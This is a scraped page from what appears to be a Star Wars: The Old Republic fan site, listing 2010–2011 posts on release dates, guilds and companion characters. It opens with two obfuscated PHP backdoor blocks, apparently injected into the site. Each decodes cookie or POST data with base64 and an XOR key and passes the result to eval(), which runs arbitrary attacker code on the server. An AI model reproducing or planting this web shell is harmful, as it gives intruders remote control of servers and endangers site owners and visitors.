$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> companion characters – Corellian Run Radio
Sep 292011
 

HoloNet Links #13

It’s time again for another HoloNet Links. We have a release date!! Dec. 20, 2011 will be the day, in North America and Dec. 22, 2011 for Europe, when Star Wars: The Old Republic will officially start. Last Saturday, while I was fast asleep, at Eurogamer they let the world finally know the release date. I think many were surprised, but all in all happy to know that we finally have a date! There has also been plenty of other news and information regarding the game and the community, so let’s get into it!

 

More HoloNet Links after the Jump…

Continue reading »

Sep 232011
 

Today is a good day for those who have a guild ready to go pre-launch. The Guild Alignment phase has begun, which means guilds can choose who their allies and adversaries are.

Not only that, but we also get part one of a two-part blog by William Wallace about Companion Characters. Some of the juiciest bits of that blog are a look into companion abilities/roles and a confirmation of companion customization.

Continue reading »

Aug 092011
 

Strike me down and... oh wait, I'm a companion, you can't, lol.

On Bioware’s added companion customization and removed companion killing

by Mark Pajor (follow @mpajor on Twitter)

 

If you haven’t heard yet, a few big changes to the Companion system were announced at Comic-Con: you can customize their physical appearance, do some new things with their AI, and you can no longer kill them permanently through your story. All three of these things were responses to player feedback in testing, but it’s interesting to note that while the first two give the player a larger degree of freedom and flexibility, the last removes an option that several people were excited for. Why did these changes occur, and what does it mean for player freedom and choice?

Continue reading »

Oct 222010
 

This week’s update will make all the art and lore fans happy.  First up, Fan Friday.  The Community Creations section features fan art, animated Jawa smilies, and a choose-your-own-adventure style comic.  Next, a Developer’s Corner look at the creation of Kaas City, the Empire’s capital.  Senior Concept Artist Ryan Dening gives us another step-by-step demonstration of taking a concept and turning it into a finished piece of artwork.  New Bounty Hunter avatars and Ithorian smilies round out the artistic portion of this week’s update. Continue reading »

Sep 272010
 

Sith Lord Mickey Loves Chapeau Shenanigans

Nothing as menacing as an adorable little clown hat when you’re trying to teach a Sith apprentice his place! This week we discuss the last installment of Blood of the Empire, community polls, Jedi, and the Smuggler update bonanza.  In other news, the millinery tomfoolery continues.

Fact or Fiction? (5:05) Can you pick out the confirmed fact from the tall tales? Continue reading »

Rss Feed Tweeter button Facebook button Technorati button Reddit button Linkedin button Webonews button Delicious button Digg button Flickr button Stumbleupon button Newsvine button Youtube button
Copy Protected by Tech Tips's CopyProtect Wordpress Blogs.